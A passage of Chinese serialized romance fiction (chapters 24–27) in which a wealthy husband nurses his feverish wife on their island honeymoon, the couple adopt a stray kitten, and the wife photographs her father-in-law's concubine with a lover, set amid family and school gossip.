凌栖珵的声音在电话那头响起,冷冰冰,直接无视对方的怒火下命令:“给你三十分钟洗漱,有人送你到码头,到东陵岛上来。我老婆生病了。”
听出了对方是谁。李麟回到:“你老婆生病你找岛上的医生,找我干嘛。”
“二十分钟。”
“好好,算我上辈子欠你的。”
打完电话,凌栖珵回到了卧室,坐在床边试探了下女人的额头,看她是否发烧。
女人额头上炙热的温度烧灼着他的手心,连同心脏也炙烤得微疼。
李麟就算立马动身,赶到也需要时间,现在只能想办法先把温度给降下来。
凌栖珵吩咐下人端来了冰水,又去洗漱间找来了毛巾,把毛巾放进冰水中浸泡,等冰水渗透毛巾,再拧干多余的水分,铺在女人的额头上。
杭景妍躺在床上半梦半醒,觉得身体像被扔进个炙热的火球中烤着,忽然,飘来冷冰冰的雨水,熄灭了她身边的火焰,降低了她周围的温度。让她舒服起来。
凌栖珵在一旁细致地观察女人的反应,看到她不断颤抖的睫毛停止跳动,他的心终于放下一半。
却仍然不敢疏忽大意,继续换着冰毛巾,给她物理降温。
一个小时候,李麟终于风风火火赶到。
“我说你们怎么回事,度蜜月度生病了。凌栖珵不是我说你,你也要悠着点。”
凌栖珵迎上来,黑着脸,冷冰冰道:“不会说话就闭上你的嘴。”
李麟走到床前,看着床前柔弱的苍白着脸躺在床上的女人,不由‘啧啧’两声,
“这么娇弱的一朵鲜花,你怎么禽兽把人折腾成了这样。一点都没有怜香惜玉的精神。”
凌栖珵简直不想搭理这个满脑子黄色废料的兄弟。
“她早晨起来就肚子疼,拉肚子而后便开始发烧了,停止你的满脑子废料了。”
李麟吩咐随他而来的护士拿出温度计,准备给上前给杭景妍量体温时被身前的男人挡住。
凌栖珵取走了李麟手里的温度计,“我给她量就好了。你转过身去,男女授受不亲。”
李麟在心中暗骂,“小气的男人。”
床上的杭景妍这时清醒过来,望着满房间的人有点懵。
“这是怎么回事。”
凌栖珵声音放轻,带着点诱哄的语气:“你发烧了,我叫医生来看看,现在量下体温。”
杭景妍望着男人伸过来的手,连忙接住他手中的体温计,自己放进胳膊肘中。
“我自己来就行。”
虽然知道自己身体不好,动不动就进医院,但是没想到只是吃错了东西凌栖珵就那么大动干戈。
她小声在凌栖珵耳边道:“只是昨天吃了那道海螺太凉了,肚子有点受不了。没什么大事的。”
只是声音再小,还是穿进了李麟的耳朵中。他转过身道:“你男人可是觉得这是天塌下来的大事,硬生生把我从床上轰醒弄过来这的。”
见床上的女人带着点迷茫望着他,他连忙自我介绍:“我叫李麟,麒麟的那个麟。是倒了八辈子霉成为你老公的兄弟的一位英俊潇洒,风流倜傥的医生。”
李麟的话让杭景妍忍不住弯了弯嘴角:“不好意思啊,麻烦你了。”
李麟嘴角裂开笑容,“不麻烦,我都被这个活阎王使唤惯了,再说了很荣幸为美女服务。”
时间到,拿出了体温计,38度,有点高。
李麟开了退烧的针水,让护士给她打上。
又问道:“你以前有没有这样过?”
“偶尔会有,吃寒凉的食物都会。”
李麟上前,拉过一张凳子坐在床头,“我也会点中医,让我给你把脉看看。”
把过脉后,道:“你的身体底子太寒,别吃生冷良性食物,多吃温性食物,肚子尤其注意保暖,小肠最脆弱,怕寒,千万别伤了它,就算是盛夏,也不可贪凉吃生冷的东西。”
“恩,我记住了。”
一旁的男人也把这一番话默默记了下来。
李麟吩咐完仿佛松了一口气,“好了,我开了针水,打上看下今晚能不能退烧。按道理打完退
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烧就没事了。”
凌栖珵听到这里一直提着的心才放下来。
李麟交代完正事又恢复了吊儿郎当的模样:“千里迢迢把我请来,现在你的心上人没事了,总该请我吃顿饭吧。”
这‘心上人’的词汇,让杭景妍禁不住心里像小鹿一样乱跳,幸好自己正在发烧也没有人看出她脸部的异样红润,她偷偷看了坐在床边的男人一眼,好像再等着他的回答。
凌栖珵倒没反驳,只是没好气道:“放心,亏不了你。”
李麟吊儿郎当惯了,倒是没觉得自己用词哪里不对。
凌栖珵却没有反驳,想想有些东西的确不能为外人道。
至少他做到了维护她尊严的承诺。
一旁的护士准备好了针水上前来准备打上。
杭景妍心里有点害怕,默默扭过头去,看不见针扎进血管恐惧还能小一点。
凌栖珵在一旁看到她这个模样,把她搂到怀里,蒙住了她的眼睛,轻声在她耳边道:“别怕,就像被蚂蚁咬了一小口,很快就好了。”
男人的声音轻柔带着蛊惑,杭景妍分神之际,吊水已经挂上了。
一旁的李麟实在是见不了这两人的虐狗样,直接闪人,去厨房找吃的了。
凌栖珵才顾不上什么好友,见打上了针水,安抚女人躺下,又细心替她盖好了被子。
凌栖珵陪着女人十几分钟,在确定她已经睡着后,才出了房间。
进到餐厅,李麟正在大战龙虾,九节虾,皮皮虾,和石斑鱼鲷鱼,放眼望去,餐桌上已经被各类虾壳堆满。
凌栖珵拉开餐桌一边椅子坐下,忍不住吐槽:“李麟,你这是多少年没吃饭了,饿死鬼投胎?”
李麟这时候也吃的七八分饱了,停了下来,随意拉过餐巾擦了擦手,惬意道:“一大早被你夺命连环呼叫,现在补充点体力,难得吃到那么新鲜的海鲜,人生啊,亏什么都不能亏了自己的胃。”
凌栖珵懒得搭理他那套理论,忙了一早上,他也饿了,等下人端上一碗海鲜粥,他也一口一口品尝起来。
但一举一动都慢条斯理,两口粥一口咸菜,不慌不忙,间或一点点剥着鸡蛋。
李麟在一旁看着他吃,突然冒出来一句话:“看来你是真的喜欢上你现在的妻子了。”
听到这话凌栖珵停下吃饭的动作:“不然呢,你以为我喜欢谁。”
李麟笑笑不说话。
凌栖珵说出了他想说又不敢说的名字:“方卉。”
李麟点了点头。
“当初你两是多让人羡慕的一对,我还以为你们会结婚,没想到她会抛弃你跑去美国。”
凌栖珵眸色渐深,冷哼一声,放下手中的调羹,拿起一旁的餐巾擦了擦嘴。而后随意把餐巾仍在桌上。
“从她离开的那一刻起,我们就结束了,人要往前走,而不是一直等在原地。所以别给我造什么深情人设,挺好笑的,对景妍来说也不公平。”
李麟叹了口气,“看来是我枉做小人了。”
凌栖珵:“杭景妍才是我妻子,是我该用生命爱护的人,而不是过去的方卉,她就算现在出现在我面前也不会改变现在的一切。”
25. 第 25 章
25
“好了,你慢慢吃吧,我去看看景妍的姜汤煮好没有,吃完了你就可以走了。”凌栖珵说着起身去了厨房。
厨房内。
丫鬟正在炉火前不断搅动着姜汤。
凌栖珵走过来看了看姜汤熬煮的进度,吩咐丫鬟:“这里交给我,你下去吧。”
丫鬟犹豫了会,告诉他还有三分钟就可以,便离开了。
凌栖珵继续看着火候。
等到了时间,关火,找来个汤碗,给倒上,自己给端到楼上。
楼上房间内,杭景妍还在睡。
凌栖珵把装有姜汤的托盘放在床头柜上,坐到床边,轻声呼唤:“景妍,起来把姜汤喝了。”
听到有人在耳边轻声呼唤,杭景妍缓缓睁开了眼。
凌栖珵见她醒来,拿过一旁的枕头给她靠着,把她扶起来靠在床头,再端来姜汤,用汤匙乘着,先吹凉了,在喂到她嘴边:“我吹过了,不烫了,喝吧。”
杭景妍听话张口喝了一汤勺,姜汤入口,顿时辣味充斥着喉咙。
“好辣。”
“忍一忍,一会就好。”凌栖珵声音温柔像哄孩子似的哄着她。
杭景妍烧迷糊了,下意识顺着诱哄喝药。
男人一勺一勺喂着姜汤,直到她喝完。
赞赏道:“很棒。”
他观察着她的脸色,又抹了她额头试了下温度。
“好像没那么烧了。”
杭景妍拿过放在床头柜的水杯灌几口水冲淡口中的辛辣味,才开口:“谢谢你,忙前忙后照顾我,我这破烂身体给你们添麻烦了。”
凌栖珵为她拨开额前湿漉漉的碎发,温柔道:“你是我妻子,麻烦我是应该的,不然你想麻烦谁?”
他骨节纤长的手指握住杭景妍虚弱苍白的手,叹了口气道:“说来都是我不好,没事给你煮什么海螺。”说着抬眸注视她苍白的脸:“以后,我记得你不能吃这些东西了。”
杭景妍哀叹一声,垂头丧气,“可是你煮得很好吃啊,我忍不住,如果人生不能吃到自己想吃的东西,那活着还有什么意义。”
得到老婆对自己厨艺的肯定,凌栖珵不由的弯了弯唇。
耐心劝哄,转移她的注意力:“不能吃螺还有很多好吃的,比如粉丝蒜蓉蒸龙虾。酸辣海鲜汤,等等。”
杭景妍果然被成功转移注意力,开始想象别的吃的上面了。
“等你好了,带你去吃别的。”
得到这句保证,杭景妍不由心情大好,笑咪了眼:“一言为定哟。”
杭景妍吊了一针吊针退了烧,又休养了两天,身体总算恢复了。
她起了个大早,拉开窗帘,打开落地窗走上阳台,极目远眺海面,此时的太阳刚从海平面升起,阳光斜射海面,为海面镀上一层金色,波光粼粼,不时有海鸥掠过。
清晨的风不时从海面吹来,清新怡人。
杭景妍还在欣赏着美景,忽然感觉到肩头一暖,转过头,凌栖珵站在一旁为她披上了外套,
看到身旁的男人,她脸上带着惊喜:“你醒啦。”
凌栖珵搂过她纤细的腰肢。“你的病刚好,早上起来吹风小心着凉。”
被提醒了一下,杭景妍感觉到有点冷,顺手搂紧了大衣。
看了会日出,杭景妍跟着凌栖珵进屋,实在是有点冷。
洗漱后,下楼吃早餐,吃完早餐,杭景妍又打着哈欠回去睡觉了。
一觉睡醒已经中午了,杭景妍起床下楼,凌栖珵正在沙发上坐着,看文件,带着金丝边眼镜,修长双腿随意交叠,阳光从窗外透过,洒在他的身上,仿佛遥远的优雅神祗。
杭景妍也忍不住多看了两眼。
听到动静,男人抬起头,“醒了。”
“嗯。”杭景妍随意应着。她去厨房给自己倒了杯水,喝了几口:“生病都躺了好几天,都没去什么地方玩,没趣透了。”
凌栖珵放下文件,“这几天你也好了差不多了,我们去外面逛逛。”
“好呀,好呀。”听到能出去玩,杭景妍又兴奋起来。
两人飞快换了衣服,走到庭院,望着各式各样的交通工具,思考,最后,凌栖珵还是选择了自行车。
“骑自行车怎么样?”
“ok.”
恰好正午时分,正是一天最暖和的时候,驱散了秋季的寒意,沐浴在阳光下,暖洋洋的。
杭景妍和凌栖珵一前一后推着一辆自行车出来。
沿着山路往下骑行。
游弋在沿海环山的路边,一边是蔚蓝的大海,一边是青翠的绿植,海风吹来,吹着衣诀翻飞,秀发飘扬,真是有一股飞翔的感觉。
杭景妍的心情大好。
甚至大的胆子放开了一边手柄,伸出左手,感受着风,兴奋呼喊。
前面的凌栖珵也是心情舒畅,他转头看了一眼身后的杭景妍,唇角荡开笑容:“快点,跟上来。”说着加快了骑行的速度。
杭景妍跟着前面的凌栖珵,他带着墨镜,穿着白色的运动装,黑白交映,看起来就是青春洋溢的大学生。她不由得生出给他拍几张照片的想法。
“喂,凌栖珵,等等我!”眼见着自己被拉开一大段距离,杭景妍叫道。
凌栖珵骑了一段路,便放慢速度等着杭景妍追上来。
杭景妍紧赶慢赶终于追上了,她骑到凌栖珵身边,气喘吁吁:“你骑那么快干嘛。”
“让你感受飞一般的感觉。”
杭景妍喘了口气,撒娇:“累了,我们下来走走吧。”
两人下车,推着自行车,慢慢散步,一路风景甚好,杭景妍走走停停,不断拍照,存了很多相片。
并且使唤凌栖珵给她拍了各种美照,各种摆着pose。
等男人拍完后,杭景妍也为他拍了几张,拍完后还由衷赞美:“你这真是行走的模特,衣架子,举手投足秒杀现在一众电影明星,你要是出道,绝对让那些小白脸的饭碗都没有。”
凌栖珵弯了弯唇角:“那就多谢赞美。”
杭景妍心里暗暗道:“还真是臭美,夸你两句就上天。”
看在长得还不错的份上,暂时原谅了你的臭美。
这时突然听到一边的绿化带里传来一声猫叫。
“瞄.”
杭景妍还以为自己听错了,又竖起耳朵专心听,的确又传来了一声猫叫。
向来爱猫如命的她,蹲在绿化带边缘循着声音找去。
一边找一边叫:“咪咪,咪咪在哪呢。”
见一旁的凌栖珵在一边观看,没好气的指挥:“站着干嘛,帮我找找。”
明明是小动物无感,加上家里‘气球’跟他的不对付,对毛茸茸的小动物都有点敬而远之。但是无奈妻子是个爱猫人士。凌栖珵只好听指挥帮忙寻找。
两人拨开绿植一边找一边叫着‘咪咪’,猫猫不时‘瞄’一声回应,循着声音找到了一只小小的三花猫,缩在花丛中,脏兮兮的,闭着眼睛叫,眼睛被不知什么东西糊住了,好像睁不开的样子,看起来才两三个月大,瘦瘦小小的一团。
杭景妍眼疾手快,伸手提溜着小猫的后脖子把它抓了起来,放在手心。
她观察了一番,“好可怜,肯定是饿极了才这样叫,那么瘦小,真的让人心疼。”
她叹了口气,对小猫道:“可是我身上没带食物,怎么办呢。”
她想了想又征求了凌栖珵的意见,“猫猫好可怜,我们收养它,带它回去和’气球‘做个伴吧。”
凌栖珵深吸口气,一直橘猫已经那么麻烦了,又来一只,但,他抬眼撞进小妻子那双直勾勾期盼的杏眼,拒绝的话无法说出口。”
只好同意。
杭景妍得到了丈夫的同意,喜笑颜开,把小猫放进车前篮子中,对它道:“从今天开始你就有家了,不用流浪挨饿了,小猫猫,跟我们回家吧,我家有很多好吃的,还有大哥哥哦。”
杭景妍捡到小猫后,也没有心思继续逛欣赏美景了,直接骑着单车回到了别墅。
在院子中停好单车,她小心翼翼地把小猫从篮子中拿出来,放在院子上晒太阳。
小猫来到新的环境有点害怕,落了地,迅速躲进了黑暗的角落,无论杭景妍怎么耐心的哄着就是不出来。
她无奈的叹气,对一旁无声观看的凌栖珵道:“看来它还很害怕,给它点时间适应下。我们先进去吧。我去给它拿点吃的。”
在一旁观看妻子全程的凌栖珵有点不理解:“这猫真的有点白眼狼,你对它那么好,它还怕你怕成这样。”
见他误解,杭景妍给他解释了猫猫的习性:“野外生存的猫猫都会有点怕人,这是他们生存的手段,而且它们也不能轻易的换环境,都要有熟悉的时间,所以它到了新的环境,见到陌生的人害怕是很正常的,
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等我们跟它熟悉了,培养出感情就好了。”
杭景妍去了厨房,打开冰箱拿出一瓶羊奶,还有几块鸡肉块。
凌栖珵看见妻子去了厨房,生怕她不懂,把厨房炸了,连忙走过来询问:“你要干什么。”
杭景妍望着食物有些无助,转头求助般望着丈夫。
她本来想直接拿去给猫猫吃,但是又怕它吃了拉肚子,想了想还是要把这些食物煮熟。
可是她不会怎么办。
她眼巴巴望着凌栖珵:“鱼和鸡肉都不会煮。”
凌栖珵无奈走上前,看了下食材。
“那就从最简单的开始。”
“羊奶会热吗。”
杭景妍思考了会,点了点头,“好像是会的。”
“算啦,我现在教你,看着我的动作。”
凌栖珵走到挂着锅的架子前,拿出一个奶锅,放在炉子上,再打开奶瓶,把羊奶倒进去。
“看到没,记住步骤,先拿出锅,再把奶倒进去,放在炉子上,开火。”凌栖珵做着示范,打着炉火。“羊奶热三四分钟,看着奶冒泡就可以了,记住,炉火要小。”
杭景妍暗暗在脑海中记下煮羊奶的步骤。
“嗯,我记下了。’
然后到鸡肉和鱼肉的烹饪步骤。
凌栖珵拿起鸡肉和鱼肉在洗菜池里洗一遍,“这些生食,从冰箱里拿出来,先过一下水,洗干净味道,脏东西,顺便解冻一下,方便等下更好煮熟。
他刚刚把鸡肉下锅。杭景妍想起了什么提醒道:“猫吃的东西不能放调味。”
“那就白水煮开就行。”
凌栖珵找来另一个大点的锅,放入鸡肉块,注入清水没过鸡肉,开中火。做完这一系列动作,告诉妻子窍门:“这个鸡胸肉煮的时间有点久,大概要十五分钟,清水要没过鸡肉,等到十五分钟后,用筷子插鸡胸肉,能插,就是熟了。”
“恩,我懂了,要十五分钟,中火,清水没过鸡肉。”杭景妍掰着手指记着,最后不忘记夸奖:“我老公简直是最棒的家庭煮夫。”
听到这个称号,凌栖珵皱了皱眉头,这是什么奇怪的称谓。
十五分钟后,鸡肉熟了,羊奶也热好了。凌栖珵找来两个盘子装好。放在灶台上。
“好了,你自己端出去给它吃吧。”
“谢谢了,我也替小猫谢谢你。”
凌栖珵摸了摸她的头,脸上带着宠溺,“跟我说什么谢谢,都是应该做的。”
杭景妍脸上绽开笑容,“好,那我去喂猫了。”
她端着碗来到小院中,找到猫猫躲藏的角落,把羊奶和鸡胸肉都放在了它面前。自己退后了几步,离它远一点,给它一个安全的环境。
在离它几步远的地方,对它道:“这是爸爸给你煮的羊奶和鸡胸肉哦,饿坏了吧,吃吧。”
小猫等了几分钟,闻到了香味,受不住诱惑,缓缓探出脑袋,东看看西看看,确认环境安全后,以迅雷不及掩耳之势叼起一块鸡肉,退回原来的位置,开始大口吃起来。
杭景妍蹲在一旁看着不远处的小猫大口吃东西的架势,感到开心治愈。她想上前摸摸小猫又怕吓着它,只好对它说:“慢点吃,以后你就有家了,每天都有东西吃了,再也不用挨饿受冻了。”
小猫‘呜呜’吃着,好像听懂了,又好像没听懂。
接下来的几天杭景妍和凌栖珵逛遍了岛上各处,拍了各种美照,甚至还坐着船出海看渔家捕鱼,好不惬意。
但是美好的时光是短暂的,两周的假期对于一个家族企业的管理者已经是奢侈了。
杭景妍看着管家在收拾行李,有点不舍,向凌栖珵撒娇:“有点不想走了,怎么办。”
凌栖珵安抚道:“以后有时间我们还可以来的。”
管家也在一旁道:“少奶奶有时间随时可以来。”
杭景妍抬手泄愤般搓了搓凌栖珵英俊的脸颊,“我当然有时间了,是你没时间。”
凌栖珵抓住她捣乱的手,把脸从她的魔爪中拯救出来,“那等我以后有时间再来,我尽量挤出时间。”
得到满意答案,杭景妍转换口风,“好了,下次可以去别的地方,也该回去了。”
站在轮船的甲板上,看着渐行渐远的小岛,杭景妍知道,她的蜜月结束了。
她对着脚下笼子中的猫猫说:“最后看一眼你的地盘,然后我们回家了。”
26. 第 26 章
回到上海港口,坐上凌家早已经准备好的小轿车,打道回府。
车上,杭景妍放松般伸展手脚,伸个懒腰,“玩够了,总算回家了。”
“你刚刚离开的时候不是还依依不舍嘛。”
“是有点不舍,可是还是怀念下家的温度,还有亲人朋友会不会想我们啊。”
凌栖珵不忍反驳她,含笑点头,一副不管老婆说什么都是对的。
“恩,你说的都是对的。”
一个小时候,车回到凌家。
杭景妍下车从后备箱拿出猫猫,小跑回自己院中。
一奔进院中,杭景妍就呼喊着绮绿。
绮绿知道小姐今天回来,早就在等待着消息,听到小姐的呼声,也欢快的奔出来。
“小姐,你和姑爷回来啦。可把我担心坏了,生怕你没有我在身边照顾出了什么事。”
“哎呀,我现在不是好好的嘛,能出什么事。你放心好了。”杭景妍举起手中的猫猫绮绿:“这个是我在小岛上救下的一只流浪猫猫,你找个地方先安顿下来,让它适应适应,别让它和‘气球’见面先,先隔离一个星期。”
“好。”绮绿接过笼子准备下去。杭景妍叫住她,给你的礼物,我放在了车后箱,等下他们把行李搬下来再给你。”
“好的,谢谢小姐。”绮绿收到礼物,开心得不行,一路蹦蹦跳跳下去了。
杭景妍和凌栖珵两人分别洗澡换装,在自己屋内用了中饭,然后美美睡了个午觉。下午茶时分才带着礼物去了上房,去拜见父母。
凌夫人正在房内带着眼镜看书,听到佣人通报,连忙放下手中的书,起身迎接。
见到儿子儿媳衣着光鲜亮丽,容光焕发,站在一起看,郎才女貌,一对璧人的模样,她颇感欣慰,上前拉着他们的手就招呼他们坐。
凌栖珵把礼物放在茶几上,和杭景妍一同坐下。
他随意观察了下四周,像是在找人,没找到,最后只好问道:“爸呢,不是说好我们要过来拜见,怎么不见人。”
凌夫人叹了口气,“肯定实在那个女人房里了,你爸的德性你还不知道嘛。”
凌栖珵脸色稍沉,半天不说话,气氛突然之间变得有些沉重。
杭景妍只好出来打破沉默,转移话题,打开礼物盒子,“妈,你看我给你带来了什么礼物。”
凌夫人也跟着杭景妍看打开的礼物,一边看一边道:“我都一把年纪了,还有什么好在意的,还要麻烦你们买礼物来。”
杭景妍拿出里面的特色针织披肩,坐到凌夫人身边,安慰:“妈,看您说的,什么年纪都不能放弃爱自己哦,您看看这披肩颜色特别适合您,您披上走在大街上,都年轻好几岁,肯定能获得极高的回头率。”
凌夫人将信将疑,但是还是试了披肩,在镜中左看右看。
杭景妍立马使眼色给一旁的凌栖珵。
凌栖珵接到信号连忙开口称赞:“妈,特别好看。”
杭景妍立马上前,继续乘胜追击建议,“妈,我还听说城南那家法国人开的美容院又出了新的配方,等后天我们去试试,到时候保证妈容光焕发,重塑青春。”
被一阵天花乱坠的夸,凌夫人不由得开心起来,宠溺得笑道:“你这孩子,嘴巴真是会讲话。”
哄好了凌夫人,陪她聊了会天,凌栖珵因为公司有事被电话叫走。杭景妍继续呆了两小时后也回了自己屋。
实在太无聊,想起打电话给静冉,约她出来逛街。
两人几个星期没见,一见面就开启疯狂购物模式,整个百货公司四层从下买到上,直到手上再也不能拎东西。
“累死了,我们去旁边的咖啡厅坐坐吧。”静冉有气无力的地建议。
杭景妍也累得走不动了,“那就这家吧。”她随便点了身旁的一家咖啡厅,她扛着一大坨包装袋,没有手了,只好用身体推开了咖啡厅的门。
找了一个靠窗的位置坐下,把这些几小时横扫的战利品随意放在了,点了一杯卡布其诺,一块芝士蛋糕,然后整个人便瘫倒在宽大的沙发椅上。
静冉也点了一杯红茶一块提拉米苏。
等服务生点单好离开,两人随意聊起天。
“去度蜜月过二人世界的感觉怎么样,看你容光焕发的样子,想来一定很滋润了哟。”静冉揶揄道。
“怎么滋润,去吃了顿凌栖珵的自制炒螺,就拉肚子发烧了。休息了好几天才好,你见过比我还惨的蜜月之旅嘛。”
“啊。”静冉大吃一惊,“那你没事了吧。”
“你还看到我能跟你出来逛街就是没事了。”
“不过嘛,凌栖珵那男人还是挺会照顾人的。你知道吗?我生病发烧,他把他好朋友从大老远拉过来给我看病。”杭景妍拖着腮道。
静冉点了点头,煞有介事道:“他亲自给你下厨,又把好朋友从大老远折腾来给你看病,亲自照顾你,看来他对你不错,不会是爱上你了吧。”
“看来豪门也有真感情哟。”
杭景妍脸颊莫名浮上一抹绯色,她连忙否认:“去,他那就是对妻子的好罢了,我估计他还对他的那个白月光念念不忘,我们顶多盟友罢了。
静冉对她这套说辞嗤之以鼻,搅动着手中的咖啡勺,带着神秘兮兮的语气道:“相信我的第六感,他绝对对你有意思。”
两人喝完咖啡又找了个地方去吃了晚餐,吃完晚餐杭景妍和静冉道别,拦了一辆黄包车准备回家。
突然看到马路对面凌二姨太和一个男人在小汽车前拉拉扯扯,举止亲密。
大晚上,路灯昏暗,半明半昧,映照的人影模糊。
杭景妍还以为自己眼花了,定睛细看,果真是她。
杭景妍觉得疑惑,下午才从母亲那里出来,说父亲在她那,怎么才半天功夫就出来会情人了。
眼看两人一前一后上了小车,杭景妍也来不及细想,连忙找出自己刚刚买的相机,直接给两个人来了几个连拍。
留个证据,未来说不定可以派上大用场。
拍完照,杭景妍也不久留,生怕他们注意对面的自己,拉起黄包车的遮阳棚,招呼车夫离去。
大半个小时过去,杭景妍扛着大包小包回到了自己的别墅内,绮绿从屋内迎了出来,接过她手中的袋子。
她把袋子给绮绿转头透过窗户遥望斜对面的屋子,想看看能不能看到那屋的情形,但院中绿荫遮挡,距离遥远看不清楚。
她只好吩咐绮绿找个小丫鬟打听下姨太太回来没有。她自己去了带着相机去了暗房,准备把拍到的照
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片冲洗出来。
杭景妍在暗房待了半个小时,把交卷上的影像都冲洗出来。
在昏暗红色的房间内,她拿起架子小心翼翼的夹出泡在药水中的照片,夹在一排晾照片的绳子上。
一整排都是今晚的成功,杭景妍弯着腰近距离的仔细欣赏自己的大作。
照片中,一男一女拥抱,贴脸亲吻,并肩依偎,那亲密的动作神情。让杭景妍一边欣赏着,一边为他们的苟且行为啧啧称赞。
听到外面有声音,估计是凌栖珵回来了。她准备出去,打开门,男人迎了上来。
杭景妍抬头看着他,男人身形颀长,眉目舒朗,一身黑衣从外面进来,肩头也沾染着屋外的露水。
“你回来啦。”
“恩。”凌栖珵见她从暗房里出来,英挺剑眉微微皱着,带着不解。
“听绮绿说,你一回来就待在暗房,你是拍到了什么宝贝?”
“哼哼。”杭景妍双手交叉环在胸前,得意道:“当然是了不得的玩意。”说完,拉住凌栖珵进入暗房。
“你跟我来。”
凌栖珵带着不解被拉进去,站在夹着的一排照片前。
杭景妍得意炫耀道:“看看吧,看看里面是什么内容。
凌栖珵定睛细看,瞳孔骤然紧缩,他连忙拿下夹着的照片,细看。
绕是见过众多大场面,早已经宠辱不惊的他也不禁暗暗吃惊。但略显清冷的面庞看不出多余的情绪。
他缓了缓情绪,抬头问:“你是从哪里拍到的这些照片。”
“就在永安百货,跟静冉吃完饭准备回来,刚好在马路对面看到的。”
“怎么样,我是不是很厉害。”
凌栖珵嘴角扯起弧度,不由得搂住她:“何止是厉害,你简直是我的福星。”
一整晚凌栖珵看起来都有点低落。
杭景妍洗漱过后,坐在梳妆台前涂抹着护肤用品。
透过梳妆台的镜子,她观察着坐在书桌前看报的男人。
觉得他情绪有点不对。
他一直以来不就是想扳倒二房嘛,现在好不容易拿到把柄。为什么还是不开心。
等她涂抹完护肤品,来到书桌前,一把抽掉他面前的报纸。
“你好像有点不对劲。”
“找到了二房的把柄,你应该开心才是。”杭景妍道。
凌栖珵难得在这个万籁俱寂的夜晚,流露出自己的情绪。
“对啊,我应该开心才是。但是不知道为什么,我的心情,五味杂陈,无法言说。”
他望着窗外在夜光下摇晃的斑驳树影,仿佛遥望着遥远的过去。
“在我的童年中,总是充斥着父母的争吵,母亲的孤寂和眼泪。从我四五岁时,父亲就把那个女人带回家,宠爱了她几十年,她的一双儿女也备受宠爱,而我和我的妹妹,虽然是正房所生,但是备受冷落。要不是他疼爱的儿子实在是扶不起的阿斗,他估计都想不起我。”
“没想到他也有今天,带绿帽的今天。这个女人果然厉害。”
“你知道吗?”凌栖珵对着面前的妻子道:“我很想知道他知道这件事的表情,当年他辜负我的母亲,现在也被人辜负了,哈哈哈。真是活该。”
“我只是心疼母亲。”
27. 第 27 章
这个夜晚,被无数的辛酸填满。
杭景妍陪在丈夫的身边,第一次生出了心疼的感觉。她不知道能说什么,默默走到他身边,给予他一个拥抱。让他知道,她在陪着他。
在这个寂静的夜晚,昏黄的灯光下,相拥的影子被拉的很长很长。
第二天,凌栖珵天刚蒙蒙亮就起床了。
杭景妍仍然裹着软乎的棉被陷在宽大的床中。
凌栖珵洗漱出来看她还在赖床,无奈地牵起唇角,走到她那侧床边,恶作剧般捏了下她的鼻子。
“小懒虫,起床啦。上学要迟到啦。”
感觉到憋气,床上的女子挺翘弯曲的睫毛煽动,缓缓掀开好似有千斤重的眼皮,杏眸带着水汪汪的雾气。
她缓了一阵才慢慢清醒过来,无奈地坐起。看了一眼床头的闹钟,快七点了。再不起来要来不及了。
可是真的好累,好想赖床啊,如果可以真的不想上学。
杭景妍泄愤般揉着自己的头发,才认命似的下床去洗漱。
十五分钟后,两人穿戴整齐下楼在小餐厅吃完早餐,然后杭景妍跟着凌栖珵出门搭他的顺风车去学校。
这次凌栖珵没用司机,亲自开车。
杭景妍早起没精神,恹恹的斜靠着车门躺着,看路边不断倒退的风景。
一边的男人,骨节分明,修长白皙的手指把这方向盘,专注着路况,从侧面看,清冷矜贵,阳光从车窗外斜照进来,透过他的鼻梁,为他精致的轮廓镶嵌金边。
杭景妍觉得这幅妖孽的样貌的确让女人欲罢不能。
想起了昨天的事情,她开口:“昨天的事情你打算怎么办?”
凌栖珵开到路口趁着红绿灯停下,修长手指握着她的,“先放着,这个把柄未来肯定有大用处。我先叫人去把她的奸夫查清楚了。”
杭景妍点点头,“我知道了。
车开到学校,杭景妍准备拉开门下车,凌栖珵拉住她的手:“等等。”
“嗯?”杭景妍疑惑的转头。
凌栖珵身体前倾,手搂过她的后脑,吻上来。
唇齿交缠,辗转缠绵,杭景妍在他的攻势下丢麾弃甲。她双手抵在男人胸前,推着他:“干嘛呢,在学校门口,被人看见了影响多不好。”
女人脸上浮起红晕,害羞腼腆的样子让凌栖珵忍不住勾起唇角。
他含笑道:“分别吻,再加感谢你帮的大忙。”
杭景妍生怕有人过来看到,脸更红了,快速推开车门下车。
“走了。”
望着渐渐远去直至消失在视线外的背景,凌栖珵唇角的笑容忍不住扩大。
杭景妍走进教室,还没开始上课,大家都三三两两聚在一起聊天。
她刚刚在自己的位置坐下,曾经当女傧相的同学就围着她的位置。
杭景妍觉得莫名,“你们围着我干什么。”
其中一位女同学,拿出报纸,放在她的桌前,她低头看桌前的报纸。
“凌氏大少爷,在名下艺术长廊以烛光晚餐,六克拉蓝钻向杭家小姐求婚。”
下面标题更是写到“名门联姻,郎才女貌,金童玉女。”
“景妍,这是真的嘛,凌少爷真的像照片上那样像你求婚嘛。”
另一位女同学示意大家看杭景妍手上的蓝钻,“怎么不是真的。你们看,六克拉的蓝钻。”
杭景妍无奈只好伸出手给她们观赏。
“这个就是凌少爷的求婚蓝钻。”
众人不约而同,长大了嘴,“哇。”
“我只在百货公司的广告上见过。如今见到了实物,真是艳丽非凡。”
“听说是某国皇室的皇后曾经佩戴过的,我在拍卖行曾经看到过,大概需要3到6个亿。”
其他人听到都倒吸了一口冷气。
杭景妍听了抬起手看自己的戒指,原来那么值钱,当时收到就听开心的,现在听到更开心。
但是想到浪漫的求婚仪式,还有记者偷拍曝光就生气。
开口对着羡慕不已的众人道:“我也不知道这个多少钱,只是觉得很漂亮,其实我更在意的是他对我的心意。”
静冉不知何时来到了她们身边,出声:“何止啊,还把那栋光华艺术长廊送给她当求婚礼物,两人还去他家的私人小岛上度蜜月,太幸福了。
“好羡慕你。凌公子帅气多金又对你那么好。景妍,你真是太幸福了。”
杭景妍被吹捧得有些害羞,莹白的小脸染上绯色,佯装愤怒伸手轻拍静冉:“别乱说。”
不久,上课铃响起,大家才回到各自的位置做好。
四十分钟过去,中间十分钟的休息时间,女孩子们都跟好朋友们手拉着手去上卫生间。
杭景妍也和静冉手拉着手去了卫生间。
正当她上完厕所准备从隔间出去,就听见外面传来声音。
“听说杭景妍是他们杭家快破产了,求到凌家头上,为了利益才把女儿送去凌家联姻的。”
另一个女生的声音:“可不是,都是联姻哪有什么真感情,凌家公子估计也是做做样子罢了,这也好意思拿出来秀,是我可没有那个脸,丢人啊。”
